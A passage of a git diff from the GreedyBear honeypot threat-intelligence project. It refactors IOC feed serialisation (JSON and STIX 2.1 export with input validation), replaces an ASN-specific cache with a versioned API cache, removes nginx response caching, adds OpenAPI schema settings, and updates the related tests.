ioc["last_seen"].strftime("%Y-%m-%d"), + "feed_type": ioc_feed_type, + "destination_port_count": len(ioc.get("destination_ports", [])), + "asn": ioc.get("autonomous_system", ""), + "tags": ioc.pop("tags_json", []), + **({"sensors": ioc.pop("sensors_json", [])} if has_sensors_annotation else {}), + } + + if not verbose: + data_.pop("destination_ports", None) + data_.pop("autonomous_system", None) + data_.pop("honeypot_names", None) + data_.pop("id", None) + + json_list.append(data_) + + logger.info(f"Number of feeds returned: {len(json_list)}") + return json_list + + +def build_feed_dict(iocs, verbose=False, include_sensors=False) -> dict: + """Wrap the JSON feed rows in the public response envelope, attaching the license when set.""" + resp_data = {"iocs": build_ioc_json_list(iocs, verbose=verbose, include_sensors=include_sensors)} + if settings.FEEDS_LICENSE: + resp_data["license"] = settings.FEEDS_LICENSE + return resp_data + + +def build_stix_bundle(iocs, request=None) -> str: + """Serialize a queryset (or list) of IOCs into a STIX 2.1 bundle JSON string.""" + iocs = (ioc_as_dict(ioc, STIX_FIELDS) for ioc in iocs) if isinstance(iocs, list) else iocs.values(*STIX_FIELDS) + + stix_objects = [] + for ioc in iocs: + value = ioc["value"] + ioc_type = ioc["type"] + + # Validate and sanitize value before inserting into STIX pattern + # to prevent pattern injection via malicious IOC values. + if ioc_type == "ip": + if not is_ip_address(value): + logger.warning(f"Skipping IOC with invalid IP value for STIX export: {value!r}") + continue + stix_type = "ipv6-addr" if ":" in value else "ipv4-addr" + pattern = f"[{stix_type}:value = '{value}']" + else: # domain + if not is_valid_domain(value): + logger.warning(f"Skipping IOC with unsafe domain value for STIX export: {value!r}") + continue + pattern = f"[domain-name:value = '{value}']" + + # Confidence 0-100. + # We use a fixed high confidence (90) for honeypot observations as they are highly reliable. + confidence = 90 + + # Labels + labels = [hp.lower() for hp in ioc.get("honeypot_names", []) if hp] + if ioc.get("ip_reputation"): + labels.append(ioc["ip_reputation"]) + + indicator = Indicator( + name=value, + pattern=pattern, + pattern_type="stix", + valid_from=ioc["first_seen"], + valid_until=ioc["last_seen"] + timedelta(days=1), + labels=labels, + confidence=confidence, + description=f"Detected by GreedyBear honeypots: {', '.join(labels)}", + external_references=[ + ExternalReference( + source_name="GreedyBear", + url=(request.build_absolute_uri(f"/?query={value}") if request else f"https://greedybear.honeynet.org/?query={value}"), ) + ], + ) + stix_objects.append(indicator) - logger.info(f"Number of feeds returned: {len(json_list)}") - resp_data = {"iocs": json_list} - if settings.FEEDS_LICENSE: - resp_data["license"] = settings.FEEDS_LICENSE - if dict_only: - return resp_data - return Response(resp_data, status=status.HTTP_200_OK) - case "stix21": - stix_fields = { - "value", - "type", - "first_seen", - "last_seen", - "recurrence_probability", - "honeypot_names", - "ip_reputation", - } - # Fetch fields from database - iocs = (ioc_as_dict(ioc, stix_fields) for ioc in iocs) if isinstance(iocs, list) else iocs.values(*stix_fields) - - stix_objects = [] - for ioc in iocs: - value = ioc["value"] - ioc_type = ioc["type"] - - # Validate and sanitize value before inserting into STIX pattern - # to prevent pattern injection via malicious IOC values. - if ioc_type == "ip": - if not is_ip_address(value): - logger.warning(f"Skipping IOC with invalid IP value for STIX export: {value!r}") - continue - stix_type = "ipv6-addr" if ":" in value else "ipv4-addr" - pattern = f"[{stix_type}:value = '{value}']" - else: # domain - if not is_valid_domain(value): - logger.warning(f"Skipping IOC with unsafe domain value for STIX export: {value!r}") - continue - pattern = f"[domain-name:value = '{value}']" - - # Confidence 0-100. - # We use a fixed high confidence (90) for honeypot observations as they are highly reliable. - confidence = 90 - - # Labels - labels = [hp.lower() for hp in ioc.get("honeypot_names", []) if hp] - if ioc.get("ip_reputation"): - labels.append(ioc["ip_reputation"]) - - indicator = Indicator( - name=value, - pattern=pattern, - pattern_type="stix", - valid_from=ioc["first_seen"], - valid_until=ioc["last_seen"] + timedelta(days=1), - labels=labels, - confidence=confidence, - description=f"Detected by GreedyBear honeypots: {', '.join(labels)}", - external_references=[ - ExternalReference( - source_name="GreedyBear", - url=(request.build_absolute_uri(f"/?query={value}") if request else f"https://greedybear.honeynet.org/?query={value}"), - ) - ], - ) - stix_objects.append(indicator) + return Bundle(objects=stix_objects).serialize() - bundle = Bundle(objects=stix_objects) - return HttpResponse(bundle.serialize(), content_type="application/json") - case _: - return HttpResponseBadRequest() +def _asn_honeypot_lookup(with_asn) -> dict: + """Per-ASN active-honeypot names. -def asn_aggregated_queryset(iocs_qs, request, feed_params): - """ - Retrieve ASN aggregation data. Caches the heavy aggregation query - since the data only updates during the extraction cronjob. + Kept separate from the numeric aggregation because it filters on + honeypots.active, which changes independently of the IOC data. - Args - iocs_qs (QuerySet): Filtered IOC queryset from get_queryset; - request (Request): The API request object; - feed_params (FeedRequestParams): Validated parameter object + Args: + with_asn (QuerySet): IOC queryset already restricted to rows with an ASN. - Returns: A list of dicts with aggregated metrics and honeypot arrays per ASN. + Returns: A dict mapping ASN -> sorted-ready list of active honeypot names. """ + rows = with_asn.filter(honeypots__active=True).values(asn=F("autonomous_system__asn")).annotate(honeypot_names=ArrayAgg("honeypots__name", distinct=True)) + return {row["asn"]: row["honeypot_names"] or [] for row in rows} - # Build reliable cache key from query params - sorted_params = sorted(request.query_params.lists()) - params_string = urllib.parse.urlencode(sorted_params, doseq=True) - param_hash = hashlib.sha256(params_string.encode("utf-8")).hexdigest() - # To prevent per-worker continuous RAM bloat, use the shared DB-backed cache - # instead of the default LocMemCache, since the JSON response size can be large. - # The extraction pipeline invalidates this cache by bumping the version counter. - shared_cache = caches["django-q"] - version = shared_cache.get("asn_feeds_version", 1) - cache_key = f"asn_feeds_v{version}_{param_hash}" +def aggregate_iocs_by_asn(iocs_qs, ordering: str) -> list[dict]: + """Aggregate a filtered IOC queryset into per-ASN metric rows. - cached_result = shared_cache.get(cache_key) - if cached_result is not None: - return cached_result + Pure data logic: no request/cache concerns. IOCs without an ASN are dropped. - asn_filter = request.query_params.get("asn") - if asn_filter: - iocs_qs = iocs_qs.filter(autonomous_system__asn=asn_filter) + Args: + iocs_qs (QuerySet): Filtered IOC queryset from the view's get_queryset; + ordering (str): Validated aggregate ordering field (e.g. "-ioc_count"). - # default ordering is overridden here because of serializer default(-last-seen) behaviour - ordering = feed_params.ordering - if not ordering or ordering.strip() in {"", "-last_seen", "last_seen"}: - ordering = "-ioc_count" + Returns: A list of dicts with aggregated metrics and honeypot arrays per ASN. + """ + with_asn = iocs_qs.exclude(autonomous_system__isnull=True) numeric_agg = ( - iocs_qs.exclude(autonomous_system__isnull=True) - .values( + with_asn.values( asn=F("autonomous_system__asn"), as_name=F("autonomous_system__name"), ) @@ -578,36 +273,12 @@ def asn_aggregated_queryset(iocs_qs, request, feed_params): first_seen=Min("first_seen"), last_seen=Max("last_seen"), ) + .order_by(ordering) ) - numeric_agg = numeric_agg.order_by(ordering) - - # Honeypot names still require a lightweight aggregation because - # they depend on the active flag which can change independently. - honeypot_agg = ( - iocs_qs.exclude(autonomous_system__isnull=True) - .filter(honeypots__active=True) - .values(asn=F("autonomous_system__asn")) - .annotate( - honeypot_names=ArrayAgg( - "honeypots__name", - distinct=True, - ) - ) - ) - - hp_lookup = {row["asn"]: row["honeypot_names"] or [] for row in honeypot_agg} - - result = [] - for row in numeric_agg: - asn = row["asn"] - row_dict = dict(row) - row_dict["honeypots"] = sorted(hp_lookup.get(asn, [])) - result.append(row_dict) - # Set cache with a 60-minute timeout (max extraction interval length) to prevent memory bloat - shared_cache.set(cache_key, result, timeout=3600) + hp_lookup = _asn_honeypot_lookup(with_asn) - return result + return [{**row, "honeypots": sorted(hp_lookup.get(row["asn"], []))} for row in numeric_agg] def get_greedybear_news() -> list[dict]: diff --git a/configuration/nginx/http.conf b/configuration/nginx/http.conf index 2fbfcac14..6270a4ad4 100644 --- a/configuration/nginx/http.conf +++ b/configuration/nginx/http.conf @@ -3,9 +3,6 @@ upstream django_main { server unix:/run/gunicorn/main.sock fail_timeout=30s; } -uwsgi_cache_path /var/cache/nginx/feeds keys_zone=feeds_cache:10m max_size=10g - inactive=10m use_temp_path=off; - server { listen 80; server_name localhost; @@ -40,11 +37,6 @@ server { gzip on; gzip_types application/json; gzip_min_length 1000; - - uwsgi_cache feeds_cache; - uwsgi_cache_key $scheme$host$uri$is_args$args; - uwsgi_cache_valid 200 10m; - add_header X-Cache-Status $upstream_cache_status; } location / { diff --git a/configuration/nginx/https.conf b/configuration/nginx/https.conf index df6afb00d..14e78422a 100644 --- a/configuration/nginx/https.conf +++ b/configuration/nginx/https.conf @@ -3,9 +3,6 @@ upstream django_main { server unix:/run/gunicorn/main.sock fail_timeout=30s; } -uwsgi_cache_path /var/cache/nginx/feeds keys_zone=feeds_cache:10m max_size=10g - inactive=10m use_temp_path=off; - server { listen 80; server_name greedybear.honeynet.com; @@ -56,11 +53,6 @@ server { gzip on; gzip_types application/json; gzip_min_length 1000; - - uwsgi_cache feeds_cache; - uwsgi_cache_key $scheme$host$uri$is_args$args; - uwsgi_cache_valid 200 10m; - add_header X-Cache-Status $upstream_cache_status; } location / { diff --git a/docker/Dockerfile_nginx b/docker/Dockerfile_nginx index 46b02eb5b..e03acc04a 100644 --- a/docker/Dockerfile_nginx +++ b/docker/Dockerfile_nginx @@ -5,7 +5,7 @@ ENV NGINX_LOG_DIR=/var/log/nginx RUN apk add --no-cache bash # this is to avoid having logs redirected to stdout/stderr -RUN mkdir -p /var/cache/nginx /var/cache/nginx/feeds \ +RUN mkdir -p /var/cache/nginx \ && rm $NGINX_LOG_DIR/access.log $NGINX_LOG_DIR/error.log \ && touch $NGINX_LOG_DIR/access.log $NGINX_LOG_DIR/error.log diff --git a/docker/entrypoint_gunicorn.sh b/docker/entrypoint_gunicorn.sh index 3de924bdf..90bf35a1c 100755 --- a/docker/entrypoint_gunicorn.sh +++ b/docker/entrypoint_gunicorn.sh @@ -5,8 +5,7 @@ do echo "Waiting for server volume..." done -# Apply database migrations -# Create cache table for Django Q monitoring (idempotent) +# Create DB cache tables for all DatabaseCache backends in settings.CACHES (idempotent) python manage.py createcachetable # Make durin migrations and migrate diff --git a/greedybear/cache.py b/greedybear/cache.py new file mode 100644 index 000000000..6c500f9e0 --- /dev/null +++ b/greedybear/cache.py @@ -0,0 +1,48 @@ +import hashlib +from typing import Any + +from django.core.cache import caches +from django.core.cache.backends.base import BaseCache + + +def build_versioned_key(namespace: str, version: int, material: str) -> str: + """Build a collision-resistant cache key from + namespace, version and the request-identifying material.""" + digest = hashlib.sha256(material.encode("utf-8")).hexdigest() + return f"{namespace}_v{version}_{digest}" + + +class Cache: + """Thin wrapper around a named Django cache backend that adds data versioning.""" + + def __init__(self, cache_alias: str) -> None: + """Bind the wrapper to the cache backend registered under cache_alias.""" + self._cache_alias = cache_alias + + def _get_cache(self) -> BaseCache: + """Return the dedicated DB-backed cache.""" + return caches[self._cache_alias] + + def get(self, cache_key: str) -> Any: + """Return the cached value for cache_key, or None when absent.""" + return self._get_cache().get(cache_key) + + def set(self, cache_key: str, value: Any, timeout: int | None = None) -> None: + """Store value under cache_key, expiring after timeout seconds (None = no expiry).""" + self._get_cache().set(cache_key, value, timeout=timeout) + + def clear(self) -> None: + """Clear the cache.""" + self._get_cache().clear() + + def get_data_version(self, version_key: str) -> int: + """Current data version for version_key (defaults to 1 when unset).""" + return self._get_cache().get(version_key, 1) + + def bump_data_version(self, version_key: str) -> None: + """Invalidate every cache entry keyed off version_key by incrementing it.""" + cache = self._get_cache() + try: + cache.incr(version_key) + except ValueError: + cache.set(version_key, 2, timeout=None) diff --git a/greedybear/consts.py b/greedybear/consts.py index 49a43e92c..abbdbcab5 100644 --- a/greedybear/consts.py +++ b/greedybear/consts.py @@ -63,7 +63,17 @@ CACHE_KEY_GREEDYBEAR_NEWS = "greedybear_news" CACHE_TIMEOUT_SECONDS = 60 * 60 +# API response cache (see greedybear/cache.py and api/mixins.py). +API_CACHE_ALIAS = "api" +API_CACHE_TIMEOUT_SECONDS = 60 * 60 +IOC_DATA_VERSION_KEY = "ioc_data_version" + # tracking application start time START_TIME = time.time() +# shared feeds +SHARE_TOKEN_SALT = "greedybear-feeds" +SHARE_TOKEN_MAX_AGE = 86400 * 30 # 30 days + +# Event injection API APISOURCE_LOCKED_THRESHOLD = 10 diff --git a/greedybear/cronjobs/extraction/pipeline.py b/greedybear/cronjobs/extraction/pipeline.py index 69c0749ce..8a8d05389 100644 --- a/greedybear/cronjobs/extraction/pipeline.py +++ b/greedybear/cronjobs/extraction/pipeline.py @@ -3,6 +3,8 @@ from django.core.cache import caches +from greedybear.cache import Cache +from greedybear.consts import API_CACHE_ALIAS, IOC_DATA_VERSION_KEY from greedybear.cronjobs.extraction.bucket_updater import BucketUpdater from greedybear.cronjobs.extraction.strategies.factory import ExtractionStrategyFactory from greedybear.cronjobs.repositories import ( @@ -117,16 +119,12 @@ def execute(self) -> int: self.log.info("Updating activity buckets") bucket_updater.update() - # 6. Invalidate API caches only if any IOC records were processed + # 6. Invalidate API caches only if any IOC records were processed. + # Bumping the version orphans every cached feed response at once; the + # bump lands in the shared DB-backed cache so gunicorn workers see it. if ioc_record_count > 0: - # Use the shared DB-backed cache so the version bump is visible to - # gunicorn API workers (LocMemCache is per-process). - self.log.info("Invalidating feeds ASN cache") - shared_cache = caches["django-q"] - try: - shared_cache.incr("asn_feeds_version") - except ValueError: - shared_cache.set("asn_feeds_version", 2, timeout=None) + self.log.info("Invalidating feeds cache") + Cache(API_CACHE_ALIAS).bump_data_version(IOC_DATA_VERSION_KEY) if bucket_updater.total_update_count > 0: self.log.info("Invalidating feeds trending cache") diff --git a/greedybear/cronjobs/scoring/utils.py b/greedybear/cronjobs/scoring/utils.py index 374363a8d..41b962251 100644 --- a/greedybear/cronjobs/scoring/utils.py +++ b/greedybear/cronjobs/scoring/utils.py @@ -4,7 +4,7 @@ import numpy as np import pandas as pd -from api.views.utils import FeedRequestParams, feeds_response +from api.views.utils import build_ioc_json_list from greedybear.cronjobs.repositories import IocRepository @@ -134,15 +134,9 @@ def serialize_iocs(iocs: list[dict]) -> list[dict]: Returns: list: Serialized IOC data including associated honeypot names. - Processed through feeds_response API method. + Processed through build_ioc_json_list. """ - return feeds_response( - iocs=iocs, - feed_params=FeedRequestParams({}), # using defaults from FeedRequestParams - valid_feed_types={}, # not required as check is skipped due to the verbose argument - dict_only=True, - verbose=True, - )["iocs"] + return build_ioc_json_list(iocs, verbose=True) def get_data_by_pks(primary_keys: set, ioc_repo=None) -> list[dict]: @@ -155,7 +149,7 @@ def get_data_by_pks(primary_keys: set, ioc_repo=None) -> list[dict]: Returns: list: Serialized IOC data including associated honeypot names. - Processed through feeds_response API method. + Processed through build_ioc_json_list. """ ioc_repo = ioc_repo if ioc_repo is not None else IocRepository() iocs = ioc_repo.get_scanners_by_pks(primary_keys) @@ -178,7 +172,7 @@ def get_current_data(days_lookback: int = 30, ioc_repo=None) -> list[dict]: Returns: list: Serialized IOC data including associated honeypot names. - Processed through feeds_response API method. + Processed through build_ioc_json_list. """ ioc_repo = ioc_repo if ioc_repo is not None else IocRepository() cutoff_date = datetime.now() - timedelta(days=days_lookback) diff --git a/greedybear/settings.py b/greedybear/settings.py index 05ba0452d..23a2e19d3 100644 --- a/greedybear/settings.py +++ b/greedybear/settings.py @@ -104,6 +104,7 @@ "django.contrib.postgres", # rest framework libs "rest_framework", + "drf_spectacular", "api.apps.ApiConfig", # certego libs "durin", @@ -131,6 +132,8 @@ "EXCEPTION_HANDLER": "certego_saas.ext.exceptions.custom_exception_handler", # Auth "DEFAULT_AUTHENTICATION_CLASSES": ["certego_saas.apps.auth.backend.CookieTokenAuthentication"], + # OpenAPI schema generation (drf-spectacular) + "DEFAULT_SCHEMA_CLASS": "drf_spectacular.openapi.AutoSchema", # Pagination "DEFAULT_PAGINATION_CLASS": "certego_saas.ext.pagination.CustomPageNumberPagination", "PAGE_SIZE": 10, @@ -146,6 +149,25 @@ "URL_FORMAT_OVERRIDE": None, } +# drf-spectacular (OpenAPI 3 schema) +SPECTACULAR_SETTINGS = { + "TITLE": "GreedyBear API", + "DESCRIPTION": ( + "Threat intelligence feeds and IOC enrichment extracted from T-Pot or injected by other sources. " + "Some feed endpoints are public; others like advanced filtering, ASN aggregation and share-token " + "management require authentication via the `Token` header." + ), + "VERSION": VERSION, + "SERVE_INCLUDE_SCHEMA": False, + "SORT_OPERATIONS": False, + "SORT_OPERATION_PARAMETERS": False, + "TAGS": [ + {"name": "Feeds", "description": "Public and authenticated threat intelligence feeds."}, + {"name": "Feed Sharing", "description": "Create, consume, list and revoke shareable feed links."}, + ], + "SCHEMA_PATH_PREFIX": "/api", +} + # Django-Rest-Durin REST_DURIN = { "DEFAULT_TOKEN_TTL": timedelta(days=14), @@ -252,6 +274,11 @@ "BACKEND": "django.core.cache.backends.db.DatabaseCache", "LOCATION": "greedybear_cache", }, + "api": { + "BACKEND": "django.core.cache.backends.db.DatabaseCache", + "LOCATION": "greedybear_api_cache", + "OPTIONS": {"MAX_ENTRIES": 1000, "CULL_FREQUENCY": 4}, + }, } AUTH_USER_MODEL = "certego_saas_user.User" # custom user model diff --git a/pyproject.toml b/pyproject.toml index 6325cf001..ea4a1252a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -13,6 +13,8 @@ dependencies = [ "django-rest-email-auth==5.0.0", "django-ses~=4.7", "django-q2~=1.10", + "django-filter~=25.2", + "drf-spectacular~=0.29.0", "croniter~=6.2", "certego-saas==0.7.12", # Server Gateway Interface diff --git a/tests/__init__.py b/tests/__init__.py index af5808242..da1366d92 100644 --- a/tests/__init__.py +++ b/tests/__init__.py @@ -3,9 +3,12 @@ from unittest.mock import Mock from certego_saas.apps.user.models import User +from django.core.cache import cache from django.test import TestCase, TransactionTestCase from django_test_migrations.migrator import Migrator +from greedybear.cache import Cache +from greedybear.consts import API_CACHE_ALIAS from greedybear.enums import IpReputation from greedybear.models import ( IOC, @@ -213,6 +216,12 @@ def setUpTestData(cls): except User.DoesNotExist: cls.regular_user = User.objects.create_user(username="regular", email="regular@greedybear.com", password="regular") + def setUp(self): + super().setUp() + # Clear caches + cache.clear() + Cache(API_CACHE_ALIAS).clear() + class ExtractionTestCase(CustomTestCase): def setUp(self): diff --git a/tests/api/test_feed_types.py b/tests/api/test_feed_types.py index 4402bddd7..6d8113135 100644 --- a/tests/api/test_feed_types.py +++ b/tests/api/test_feed_types.py @@ -5,6 +5,7 @@ from django.test import override_settings from rest_framework.test import APIClient +from api.serializers import get_valid_feed_types from greedybear.models import IOC, Honeypot, IocType from tests import CustomTestCase @@ -65,8 +66,6 @@ def test_feed_filter_by_log4pot(self): def test_feed_valid_types_includes_all_active_honeypots(self): """Verify valid feed types include all active honeypots.""" - from api.views.utils import get_valid_feed_types - valid_types = get_valid_feed_types() # Should include all active honeypots (case-insensitive) @@ -78,8 +77,6 @@ def test_feed_valid_types_includes_all_active_honeypots(self): def test_inactive_honeypot_not_in_valid_types(self): """Verify inactive honeypots are not included in valid feed types.""" - from api.views.utils import get_valid_feed_types - valid_types_before = get_valid_feed_types() # Deactivate a honeypot diff --git a/tests/api/views/test_feeds_advanced_view.py b/tests/api/views/test_feeds_advanced_view.py index 99769c86d..5e4d88f02 100644 --- a/tests/api/views/test_feeds_advanced_view.py +++ b/tests/api/views/test_feeds_advanced_view.py @@ -299,6 +299,18 @@ def test_filter_by_date_range(self): response = self.client.get(f"/api/feeds/advanced/?start_date={future_start}") self.assertEqual(response.json()["iocs"], []) + def test_date_range_overrides_max_age_default(self): + """A historical date range must return IOCs older than the max_age default.""" + old_ioc_date = datetime.now() - timedelta(days=10) + self.ioc.last_seen = old_ioc_date + self.ioc.save() + + start = (old_ioc_date - timedelta(days=2)).strftime("%Y-%m-%d") + end = (old_ioc_date + timedelta(days=2)).strftime("%Y-%m-%d") + response = self.client.get(f"/api/feeds/advanced/?start_date={start}&end_date={end}") + self.assertEqual(response.status_code, 200) + self.assertIn(self.ioc.name, {ioc["value"] for ioc in response.json()["iocs"]}) + def test_filter_by_country_code(self): """Filter by country_code returns only matching IOCs.""" self.ioc.attacker_country_code = "IT" @@ -358,7 +370,7 @@ def test_shareable_feed_invalid_token(self): self.client.logout() response = self.client.get("/api/feeds/consume/invalid-token-123") self.assertEqual(response.status_code, 400) - self.assertEqual(response.json()["error"], "Invalid or expired token") + self.assertEqual(response.json()["errors"]["non_field_errors"][0], "Invalid or expired token") def test_shareable_feed_expired_token(self): """Consuming a tampered/expired token returns 400.""" @@ -368,8 +380,8 @@ def test_shareable_feed_expired_token(self): "ioc_type": "all", "max_age": "3", "min_days_seen": "1", - "include_reputation": [], - "exclude_reputation": [], + "include_reputation": "", + "exclude_reputation": "", "feed_size": "5000", "ordering": "-last_seen", "verbose": "false", @@ -386,7 +398,7 @@ def test_shareable_feed_expired_token(self): self.client.logout() response = self.client.get(f"/api/feeds/consume/{tampered}") self.assertEqual(response.status_code, 400) - self.assertIn("error", response.json()) + self.assertIn("errors", response.json()) def test_consume_valid_token_without_db_record_is_rejected(self): """A valid signed token that was never saved to the DB is rejected (allowlist check).""" @@ -396,8 +408,8 @@ def test_consume_valid_token_without_db_record_is_rejected(self): "ioc_type": "all", "max_age": "3", "min_days_seen": "1", - "include_reputation": [], - "exclude_reputation": [], + "include_reputation": "", + "exclude_reputation": "", "feed_size": "5000", "ordering": "-last_seen", "verbose": "false", @@ -417,7 +429,7 @@ def test_consume_valid_token_without_db_record_is_rejected(self): self.client.logout() response = self.client.get(f"/api/feeds/consume/{token}") self.assertEqual(response.status_code, 400) - self.assertEqual(response.json()["error"], "Invalid or expired token") + self.assertEqual(response.json()["errors"]["non_field_errors"][0], "Invalid or expired token") def test_consume_token_deleted_from_db_is_rejected(self): """A token whose DB record has been deleted is rejected even though the signature is valid.""" @@ -433,7 +445,7 @@ def test_consume_token_deleted_from_db_is_rejected(self): response = self.client.get(f"/api/feeds/consume/{token}") self.assertEqual(response.status_code, 400) - self.assertEqual(response.json()["error"], "Invalid or expired token") + self.assertEqual(response.json()["errors"]["non_field_errors"][0], "Invalid or expired token") def test_rate_limiting_consume(self): """ @@ -468,7 +480,7 @@ def test_token_revocation(self): self.client.logout() consume_response = self.client.get(f"/api/feeds/consume/{token}") self.assertEqual(consume_response.status_code, 400) - self.assertEqual(consume_response.json()["error"], "Token has been revoked") + self.assertEqual(consume_response.json()["errors"]["non_field_errors"][0], "Token has been revoked") def test_token_revoke_already_revoked(self): """Revoking an already-revoked token returns 200 (idempotent).""" @@ -484,7 +496,7 @@ def test_token_revoke_invalid_token(self): """Revoking an invalid/expired token returns 400.""" revoke_response = self.client.get("/api/feeds/revoke/not-a-valid-token") self.assertEqual(revoke_response.status_code, 400) - self.assertIn("error", revoke_response.json()) + self.assertIn("errors", revoke_response.json()) def test_200_format_txt(self): """Ensures ?format=txt returns plain text, not JSON.""" diff --git a/tests/api/views/test_feeds_asn_view.py b/tests/api/views/test_feeds_asn_view.py index fbe62a290..1b7af5906 100644 --- a/tests/api/views/test_feeds_asn_view.py +++ b/tests/api/views/test_feeds_asn_view.py @@ -1,8 +1,10 @@ -from django.core.cache import cache, caches +from django.core.cache import cache from django.utils import timezone from rest_framework.test import APIClient -from greedybear.models import IOC, AutonomousSystem, Honeypot +from greedybear.cache import Cache +from greedybear.consts import API_CACHE_ALIAS, IOC_DATA_VERSION_KEY +from greedybear.models import IOC, AutonomousSystem, Credential, Honeypot from tests import CustomTestCase @@ -65,7 +67,8 @@ def setUpClass(cls): def setUp(self): super().setUp() cache.clear() - caches["django-q"].clear() + self.cache = Cache(API_CACHE_ALIAS) + self.cache.clear() self.client = APIClient() self.client.force_authenticate(user=self.superuser) self.url = "/api/feeds/asn/" @@ -139,6 +142,42 @@ def test_200_asn_feed_with_asn_filter(self): self.assertEqual(len(results), 1) self.assertEqual(str(results[0]["asn"]), self.high_asn) + def test_200_asn_feed_min_credential_count_filter(self): + """Only IOCs meeting min_credential_count contribute to the aggregation.""" + cred = Credential.objects.create(username="admin", password="admin") + self.ioc_high1.credentials.add(cred) + + response = self.client.get(self.url + "?min_credential_count=1") + self.assertEqual(response.status_code, 200) + results = self._get_results(response) + self.assertEqual(len(results), 1) + high_item = results[0] + self.assertEqual(str(high_item["asn"]), self.high_asn) + # ioc_high2 has no credentials, so only ioc_high1 is aggregated; + # the sum also guards against join-induced row multiplication + self.assertEqual(high_item["ioc_count"], 1) + self.assertEqual(high_item["total_attack_count"], self.ioc_high1.attack_count) + + def test_200_asn_feed_max_credential_count_filter(self): + """IOCs above max_credential_count are excluded from the aggregation.""" + cred = Credential.objects.create(username="root", password="1234") + self.ioc_high1.credentials.add(cred) + + response = self.client.get(self.url + "?max_credential_count=0") + self.assertEqual(response.status_code, 200) + results = self._get_results(response) + high_item = next((item for item in results if str(item["asn"]) == self.high_asn), None) + self.assertIsNotNone(high_item) + self.assertEqual(high_item["ioc_count"], 1) # only ioc_high2 remains + low_item = next((item for item in results if str(item["asn"]) == self.low_asn), None) + self.assertIsNotNone(low_item) + self.assertEqual(low_item["ioc_count"], 1) + + def test_400_asn_feed_invalid_credential_count_range(self): + """min_credential_count greater than max_credential_count returns 400.""" + response = self.client.get(self.url + "?min_credential_count=10&max_credential_count=5") + self.assertEqual(response.status_code, 400) + def test_400_asn_feed_invalid_ordering_honeypots(self): response = self.client.get(self.url + "?ordering=honeypots") self.assertEqual(response.status_code, 400) @@ -228,7 +267,7 @@ def test_asn_feed_with_empty_as_name(self): def test_asn_feed_caching_behavior(self): """ Verify that identical requests to the ASN feed return cached results, - and that invalidating the 'asn_feeds_version' forces a re-computation. + and that bumping the IOC data version forces a re-computation. """ # 1. First request computes and caches the result response1 = self.client.get(self.url) @@ -250,11 +289,7 @@ def test_asn_feed_caching_behavior(self): self.assertEqual(high_item1["total_attack_count"], high_item2["total_attack_count"]) # 4. Invalidate the cache (simulate extraction cronjob behavior) - shared_cache = caches["django-q"] - try: - shared_cache.incr("asn_feeds_version") - except ValueError: - shared_cache.set("asn_feeds_version", 2, timeout=None) + self.cache.bump_data_version(IOC_DATA_VERSION_KEY) # 5. Third request should re-compute and show UPDATED DB value response3 = self.client.get(self.url) diff --git a/tests/api/views/test_feeds_format_parity.py b/tests/api/views/test_feeds_format_parity.py new file mode 100644 index 000000000..03d75c93b --- /dev/null +++ b/tests/api/views/test_feeds_format_parity.py @@ -0,0 +1,79 @@ +from django.test import override_settings + +from tests import CustomTestCase + + +class FeedsFormatParityTestCase(CustomTestCase): + """Ensures different DRF renderers selects the *same* set of IOC values.""" + + FORMATS = ("json", "txt", "csv", "stix21") + INCLUDE_ALL = "?include_mass_scanners&include_tor_exit_nodes" + + def _get_response(self, fmt: str, query=""): + """Helper for making requests.""" + return self.client.get(f"/api/feeds/all/all/recent.{fmt}{query}") + + def _get_ioc_names(self, fmt: str, response) -> set: + """Extract the set of IOC values from a feed response, per format.""" + match fmt: + case "json": + return {ioc["value"] for ioc in response.json()["iocs"]} + case "stix21": + return {obj["name"] for obj in response.json()["objects"] if obj.get("type") == "indicator"} + case _: # txt and csv + body = response.content.decode("utf-8") + return {line.strip() for line in body.splitlines() if line.strip() and not line.startswith("#")} + + def test_all_formats_return_200(self): + for fmt in self.FORMATS: + with self.subTest(fmt=fmt): + self.assertEqual(self._get_response(fmt).status_code, 200) + + def test_formats_return_identical_ioc_set(self): + expected = {self.ioc.name, self.ioc_2.name, self.ioc_3.name, self.ioc_domain.name} + for fmt in self.FORMATS: + response = self._get_response(fmt, self.INCLUDE_ALL) + self.assertEqual(response.status_code, 200, fmt) + ioc_names = self._get_ioc_names(fmt, response) + with self.subTest(fmt=fmt): + self.assertEqual(ioc_names, expected) + + def test_formats_apply_filtering_consistently(self): + query = "?ioc_type=ip&include_mass_scanners&include_tor_exit_nodes" + for fmt in self.FORMATS: + with self.subTest(fmt=fmt): + values = self._get_ioc_names(fmt, self._get_response(fmt, query)) + self.assertIn(self.ioc.name, values) + self.assertNotIn(self.ioc_domain.name, values) + + def test_formats_respect_inclusion_defaults(self): + excluded = {self.ioc_2.name, self.ioc_3.name} + for fmt in self.FORMATS: + with self.subTest(fmt=fmt): + values = self._get_ioc_names(fmt, self._get_response(fmt)) + self.assertEqual(values & excluded, set()) + self.assertIn(self.ioc.name, values) + + @override_settings(FEEDS_LICENSE="https://example.com/license") + def test_text_and_csv_prefix_license_without_leaking_into_values(self): + for fmt in ("txt", "csv"): + with self.subTest(fmt=fmt): + response = self._get_response(fmt) + first_line = response.content.decode("utf-8").splitlines()[0] + self.assertEqual(first_line, "# https://example.com/license") + self.assertNotIn("https://example.com/license", self._get_ioc_names(fmt, response)) + + def test_invalid_request_returns_400_for_every_accept_header(self): + bad_url = "/api/feeds/not_a_honeypot/all/recent.json" + for accept in ("application/json", "text/plain", "text/csv", "*/*"): + with self.subTest(accept=accept): + response = self.client.get(bad_url, HTTP_ACCEPT=accept) + self.assertEqual(response.status_code, 400) + + @override_settings(FEEDS_LICENSE="License, but with a comma") + def test_csv_does_not_crash_on_license_containing_comma(self): + response = self._get_response("csv", self.INCLUDE_ALL) + self.assertEqual(response.status_code, 200) + body = response.content.decode("utf-8") + self.assertEqual(body.splitlines()[0], '# "License, but with a comma"') + self.assertEqual(self._get_ioc_names("csv", response), {self.ioc.name, self.ioc_2.name, self.ioc_3.name, self.ioc_domain.name}) diff --git a/tests/api/views/test_feeds_tags.py b/tests/api/views/test_feeds_tags.py index e12858ef6..7eae056dc 100644 --- a/tests/api/views/test_feeds_tags.py +++ b/tests/api/views/test_feeds_tags.py @@ -92,6 +92,17 @@ def test_200_filter_by_tag_key_and_value(self): values = {i["value"] for i in iocs} self.assertIn(self.ioc.name, values) + def test_200_filter_by_tag_key_case_insensitive(self): + """tag_key filtering must match regardless of the key's case in the DB or the query.""" + 